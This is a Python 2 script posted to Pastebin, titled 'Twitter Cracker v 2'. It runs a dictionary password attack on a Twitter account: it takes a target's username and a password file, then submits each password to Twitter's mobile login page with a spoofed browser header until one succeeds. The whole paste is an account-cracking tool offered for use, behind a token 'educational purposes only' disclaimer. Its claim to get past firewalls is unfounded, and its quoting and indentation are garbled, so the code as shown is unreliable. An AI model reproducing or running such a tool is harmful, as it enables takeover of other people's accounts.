Advertisement
Guest User

Untitled

a guest
Jan 16th, 2017
165
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.61 KB | None | 0 0
  1. #!usr/bin/python
  2. #Twitter Cracker Version 1 can crack into Twitter Database 100% without Interruption By Firewall !
  3. #This program is for educational purposes only.
  4. #Don't attack people Twitter accounts it's illegal !
  5. #If you want to crack into someone's account, you must have the permission of the user.
  6. #Mauritania Attacker is not responsible.
  7.  
  8.  
  9. import sys
  10. import random
  11. import mechanize
  12. import cookielib
  13.  
  14.  
  15. GHT = --'
  16.        +=======================================+
  17.        |..........Twitter Cracker v 2..........|
  18.        +---------------------------------------+
  19.        |#Edit  : StifLer                       |
  20.        |#Contact: byystifler@hotmail.com ^_^   |
  21.        |#Date: 03/08/2013                      |
  22.        |#SpyHatz.com / Ajanlar.org             |
  23.        |  use of this program !                |
  24.        +=======================================+
  25.        |..........Twitter Cracker v 2..........|
  26.        +---------------------------------------+
  27. --'
  28. print "Kurbanin e-maili veya twitter kullanici adi"
  29. print -# Ctrl + C yaparak programi kapatabilirsiniz.-
  30.  
  31.  
  32.  
  33. username = str(raw_input(-# Twitter kullanici adi  : -))
  34. passwordlist = str(raw_input("Denenecek sifrelerin kayitli oldugu dosya : -))
  35.  
  36. useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
  37.  
  38.  
  39.  
  40. login = 'https://mobile.twitter.com/session'
  41. def attack(password):
  42.  
  43.  try:
  44.     sys.stdout.write(-\r[*] trying %s.. - % password)
  45.     sys.stdout.flush()
  46.     br.addheaders = [('User-agent', random.choice(useragents))]
  47.     site = br.open(login)
  48.     br.select_form(nr=0)
  49.  
  50.      
  51.      
  52.          
  53.         ##Twitter
  54.     br.form['username'] = username
  55.     br.form['password'] = password
  56.     br.submit()
  57.     log = br.geturl()
  58.     if log != login:
  59.        print -\n\n\n[*] Password Twitter found .. !!-
  60.        print -\n[*] Password : %s\n" % (password)
  61.         sys.exit(1)
  62.   except KeyboardInterrupt:
  63.         print -\n[*] Exiting program .. -
  64.         sys.exit(1)
  65.  
  66. def search():
  67.     global password
  68.     for password in passwords:
  69.         attack(password.replace(-\n",--))
  70.  
  71.  
  72.  
  73. def check():
  74.  
  75.    global br
  76.    global passwords
  77.    try:
  78.       br = mechanize.Browser()
  79.       cj = cookielib.LWPCookieJar()
  80.       br.set_handle_robots(False)
  81.       br.set_handle_equiv(True)
  82.       br.set_handle_referer(True)
  83.       br.set_handle_redirect(True)
  84.       br.set_cookiejar(cj)
  85.       br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  86.    except KeyboardInterrupt:
  87.       print -\n[*] Exiting program ..\n"
  88.        sys.exit(1)
  89.     try:
  90.        list = open(passwordlist, "r")
  91.        passwords = list.readlines()
  92.        k = 0
  93.        while k < len(passwords):
  94.           passwords[k] = passwords[k].strip()
  95.           k += 1
  96.     except IOError:
  97.         print -\n[*] Error: check your password list path \n"
  98.        sys.exit(1)
  99.    except KeyboardInterrupt:
  100.        print -\n[*] Exiting program ..\n"
  101.         sys.exit(1)
  102.     try:
  103.         print GHT
  104.         print -[*] Account to crack : %s" % (username)
  105.        print -[*] Loaded :- , len(passwords), "passwords"
  106.        print -[*] Cracking, please wait ...-
  107.    except KeyboardInterrupt:
  108.        print -\n[*] Exiting program ..\n"
  109.         sys.exit(1)
  110.     try:
  111.         search()
  112.         attack(password)
  113.     except KeyboardInterrupt:
  114.         print -\n[*] Exiting program ..\n"
  115.        sys.exit(1)
  116.  
  117. if __name__ == '__main__':
  118.    check()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement